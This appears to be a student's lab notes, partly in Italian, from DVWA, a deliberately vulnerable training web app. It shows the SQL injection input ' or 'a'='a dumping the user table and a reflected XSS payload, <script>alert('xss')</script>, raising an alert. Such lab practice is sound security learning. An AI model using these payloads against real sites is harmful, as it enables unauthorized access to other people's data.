



Home
Instructions
Setup

Brute Force
Command Execution
CSRF
File Inclusion

SQL Injection
SQL Injection (Blind)
Upload
XSS reflected
XSS stored

DVWA Security
PHP Info
About

Logout

Vulnerability: SQL Injection

User ID:

ID: ' or 'a'='a
First name: admin
Surname: admin

ID: ' or 'a'='a
First name: Gordon
Surname: Brown

ID: ' or 'a'='a
First name: Hack
Surname: Me

ID: ' or 'a'='a
First name: Pablo
Surname: Picasso

ID: ' or 'a'='a
First name: Bob
Surname: Smith

More info

<http://www.securiteam.com/securityreviews/5DP0N1P76E.html>
http://en.wikipedia.org/wiki/SQL_injection
<http://www.unixwiz.net/techtips/sql-injection.html>

Username: admin
Security Level: low
PHPIDS: disabled

[View Source](#) [View Help](#)

Inserendo (' or 'a'='a) ho ottenuto i dati del database sql della DVWA

[Home](#)[Instructions](#)[Setup](#)[Brute Force](#)[Command Execution](#)[CSRF](#)[File Inclusion](#)[SQL Injection](#)[SQL Injection \(Blind\)](#)[Upload](#)[XSS reflected](#)[XSS stored](#)[DVWA Security](#)[PHP Info](#)[About](#)[Logout](#)

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

More info

<http://hacker.org/xss.html>http://en.wikipedia.org/wiki/Cross-site_scripting<http://www.cgisecurity.com/xss-faq.html>

Username: admin
Security Level: low
PHPIDS: disabled

[View Source](#) [View Help](#)

192.168.1.101

XSS

con lo script

```
<script type='text/javascript'>alert('xss');</script>
```

Ho fatto comparire a schermo l'avviso XSS